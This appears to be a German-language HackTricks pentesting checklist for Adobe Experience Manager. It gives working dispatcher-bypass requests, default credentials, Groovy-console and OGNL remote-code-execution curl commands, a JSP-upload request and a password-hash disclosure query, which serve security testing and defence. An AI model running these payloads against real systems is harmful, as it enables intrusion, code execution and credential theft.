AEM (Adobe Experience Manager) Pentesting

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Adobe Experience Manager (AEM, Teil der Adobe Experience Cloud) ist ein Enterprise-CMS, das auf Apache Sling/Felix (OSGi) und einem Java Content Repository (JCR) läuft. Aus Angreiferperspektive exponieren AEM-Instanzen sehr häufig gefährliche Entwicklungsendpunkte, schwache Dispatcher-Regeln, Standardanmeldedaten und eine lange Liste von CVEs, die vierteljährlich gepatcht werden.

Die folgende Checkliste konzentriert sich auf die extern erreichbare (unauth) Angriffsfläche, die in realen Engagements (2022-2026) immer wieder auftaucht.

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Weitere schnelle Indikatoren:

• /etc.clientlibs/ static path present (returns JS/CSS).
• /libs/granite/core/content/login.html login page with the “Adobe Experience Manager” banner.
• </script><!--/* CQ */--> Kommentar am Ende des HTML.

2. Wertvolle nicht-authentifizierte Endpunkte

Dispatcher bypass tricks (funktionieren noch 2025/2026)

Die meisten Produktionsseiten liegen hinter dem Dispatcher (Reverse-Proxy). Filterregeln werden häufig umgangen, indem kodierte Zeichen oder erlaubte statische Erweiterungen missbraucht werden.

• Klassisches Semikolon + erlaubte Dateiendung

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

Wenn der Dispatcher kodierte Slashes erlaubt, liefert dies JSON, selbst wenn /bin eigentlich gesperrt ist.

3. Häufige Fehlkonfigurationen (noch vorhanden in 2026)

1. Anonymous POST servlet – POST /.json mit :operation=import erlaubt es, neue JCR-Knoten anzulegen. Das Blockieren von *.json POSTs im Dispatcher behebt das.
2. World-readable user profiles – Die Standard-ACL gewährt jcr:read auf /home/users/**/profile/* für alle.
3. Default credentials – admin:admin, author:author, replication:replication.
4. WCMDebugFilter aktiviert ⇒ reflektiertes XSS über ?debug=layout (CVE-2016-7882, immer noch auf Legacy-6.4-Installationen zu finden).
5. Groovy Console exposed – remote code execution by sending a Groovy script:

curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

6. Dispatcher encoded-slash gap – /bin/querybuilder.json und /etc/truststore.json sind mit %2f/%3B erreichbar, selbst wenn sie durch Pfadfilter blockiert sind.
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= wertet OGNL ohne Authentifizierung aus (CVE-2025-54253), was zu unauth RCE führt; ein damit verbundenes XXE in der Forms-Submission (CVE-2025-54254) erlaubt Datei-Lesezugriff.

4. Jüngste Schwachstellen (Service-Pack-Rhythmus)

Prüfe immer das APSB-Bulletin, das zum Service-Pack des Kunden passt, und dränge auf die aktuelle Version 6.5.24 (Nov 26, 2025) oder Cloud Service 2025.12. AEM Forms on JEE benötigt sein eigenes Add-on-Hotfix 6.5.0-0108+.

5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Fordere jetzt /content/evil.jsp an – die JSP läuft mit den Rechten des AEM-Prozessbenutzers.

5.2 SSRF to RCE (historisch < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py von aem-hacker automatisiert die gesamte Kette.

5.3 OGNL RCE in AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Wenn anfällig, enthält der HTTP-Body die Ausgabe des Befehls.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Gibt Benutzerknoten zurück, einschließlich rep:password-Hashes, wenn anonyme Lese-ACLs die Standardeinstellung sind.

6. Werkzeuge

• aem-hacker – Multifunktionales Enumeration-Skript, unterstützt dispatcher bypass, SSRF detection, default-creds checks und mehr.

python3 aem_hacker.py -u https://target --host attacker-ip

• Tenable WAS plugin 115065 – Erkennt QueryBuilder hash disclosure & encoded-slash bypass automatisch (veröffentlicht Dez 2025).
• Content brute-force – Fordert rekursiv /_jcr_content.(json|html) an, um versteckte Komponenten zu entdecken.
• osgi-infect – Lädt ein bösartiges OSGi-Bundle über /system/console/bundles hoch, wenn Zugangsdaten verfügbar sind.

Referenzen

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.